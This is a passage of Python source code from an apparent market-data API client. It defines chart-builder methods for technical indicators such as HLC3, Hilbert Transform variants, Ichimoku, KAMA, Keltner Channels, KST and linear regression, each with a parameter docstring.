:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = HEIKINASHICANDLESEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_price_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_hlc3(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of HLC3 to chart builder
High, Low, Close Average(HLC3) gives alternative candlesticks patter.
Every element is defined as follows: (high + low + close) / 3.
This API call returns meta and time series values of HLC3. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = HLC3Endpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_price_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ht_dcperiod(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of HT_DCPERIOD to chart builder
Hilbert Transform Dominant Cycle Period(HT_DCPERIOD) is part of
Hilbert Transforms concepts. You can reed more about it in the Rocket
Science for Traders book by John F. Ehlers.
This API call returns meta and time series values of HT_DCPERIOD. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = HT_DCPERIODEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ht_dcphase(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of HT_DCPHASE to chart builder
Hilbert Transform Dominant Cycle Phase(HT_DCPHASE) is part of Hilbert
Transforms concepts. You can reed more about it in the Rocket Science
for Traders book by John F. Ehlers.
This API call returns meta and time series values of HT_DCPHASE. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = HT_DCPHASEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ht_phasor(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of HT_PHASOR to chart builder
Hilbert Transform Phasor Components(HT_PHASOR) is part of Hilbert
Transforms concepts. You can reed more about it in the Rocket Science
for Traders book by John F. Ehlers.
This API call returns meta and time series values of HT_PHASOR. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = HT_PHASOREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ht_sine(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of HT_SINE to chart builder
Hilbert Transform SineWave(HT_SINE) is part of Hilbert Transforms
concepts. You can reed more about it in the Rocket Science for Traders
book by John F. Ehlers.
This API call returns meta and time series values of HT_SINE. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = HT_SINEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ht_trendline(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of HT_TRENDLINE to chart builder
Hilbert Transform Instantaneous Trendline(HT_TRENDLINE) comes from the
concept of Digital Signal Processing (DSP). It creates complex signals
from the simple chart data. You can reed more about it in the Rocket
Science for Traders book by John F. Ehlers.
This API call returns meta and time series values of HT_TRENDLINE.
Meta object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = HT_TRENDLINEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ht_trendmode(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of HT_TRENDMODE to chart builder
Hilbert Transform Trend vs Cycle Mode(HT_TRENDMODE) is part of Hilbert
Transforms concepts. You can reed more about it in the Rocket Science
for Traders book by John F. Ehlers.
This API call returns meta and time series values of HT_TRENDMODE.
Meta object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = HT_TRENDMODEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ichimoku(
self,
exchange=None,
country=None,
conversion_line_period=9,
base_line_period=26,
leading_span_b_period=52,
lagging_span_period=26,
include_ahead_span_period=True,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ICHIMOKU to chart builder
Ichimoku Kinkō Hyō(ICHIMOKU) is a group of technical indicators that shows trend direction, momentum,
and support & resistance levels. Overall it tends to improve the accuracy of forecasts.
This API call returns meta and time series values of HT_TRENDLINE.
Meta object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param conversion_line_period: Takes values in the range from 1 to 800
:param base_line_period: Takes values in the range from 1 to 800
:param leading_span_b_period: Takes values in the range from 1 to 800
:param lagging_span_period: Takes values in the range from 1 to 800
:param include_ahead_span_period: Specifies if the span values ahead the current moment should be returned
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ICHIMOKUEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
conversion_line_period=conversion_line_period,
base_line_period=base_line_period,
leading_span_b_period=leading_span_b_period,
lagging_span_period=lagging_span_period,
include_ahead_span_period=include_ahead_span_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_kama(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of KAMA to chart builder
Kaufman's Adaptive Moving Average(KAMA) is a type of Moving
Average(MA) that incorporates market noise and volatility.
This API call returns meta and time series values of KAMA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = KAMAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_keltner(
self,
exchange=None,
country=None,
series_type="close",
time_period=20,
atr_time_period=10,
multiplier=2,
ma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of KELTNER to chart builder
Keltner Channels(KELTNER) is a volatility indicator used to spot trend changes and accelerations.
This API call returns meta and time series values of KELTNER. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at least 1
:param atr_time_period: Takes values in the range from 1 to 800
:param multiplier: Multiplier is the number by which the range is shifted
:param ma_type: Type of Moving Average to be used
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = KELTNEREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
atr_time_period=atr_time_period,
multiplier=multiplier,
ma_type=ma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_kst(
self,
exchange=None,
country=None,
roc_period_1=10,
roc_period_2=15,
roc_period_3=20,
roc_period_4=30,
signal_period=9,
sma_period_1=10,
sma_period_2=10,
sma_period_3=10,
sma_period_4=15,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of KST to chart builder
Know Sure Thing(KST) calculates price momentum for four distinct price cycles(ROC).
This API call returns meta and time series values of KST. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param roc_period_1:
:param roc_period_2:
:param roc_period_3:
:param roc_period_4:
:param signal_period:
:param sma_period_1:
:param sma_period_2:
:param sma_period_3:
:param sma_period_4:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = KSTEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
roc_period_1=roc_period_1,
roc_period_2=roc_period_2,
roc_period_3=roc_period_3,
roc_period_4=roc_period_4,
signal_period=signal_period,
sma_period_1=sma_period_1,
sma_period_2=sma_period_2,
sma_period_3=sma_period_3,
sma_period_4=sma_period_4,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_linearreg(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of LINEARREG to chart builder
Linear Regression(LINEARREG) is used to determine trend direction by a
straight line.
This API call returns meta and time series values of LINEARREG. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = LINEARREGEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_linearregangle(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of LINEARREGANGLE to chart builder
Linear Regression Angle(LINEARREGANGLE) calculates the angle of the
linear regression trendline.
This API call returns meta and time series values of LINEARREGANGLE.
Meta object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = LINEARREGANGLEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_linearregintercept(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of LINEARREGINTERCEPT to chart builder
Linear Regression Intercept(LINEARREGINTERCEPT) calculates the
intercept for the linear regression trendline for each data point.
This API call returns meta and time series values of
LINEARREGINTERCEPT. Meta object consists of general information about
requested technical indicator. Time series is the array of objects
ordered by time desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = LINEARREGINTERCEPTEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_linearregslope(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of LINEARREGSLOPE to chart builder
Linear Regression Slope(LINEARREGSLOPE) calculates the slope for the
linear regression trendline for each data point.
This API call returns meta and time series values of LINEARREGSLOPE.
Meta object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = LINEARREGSLOPEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
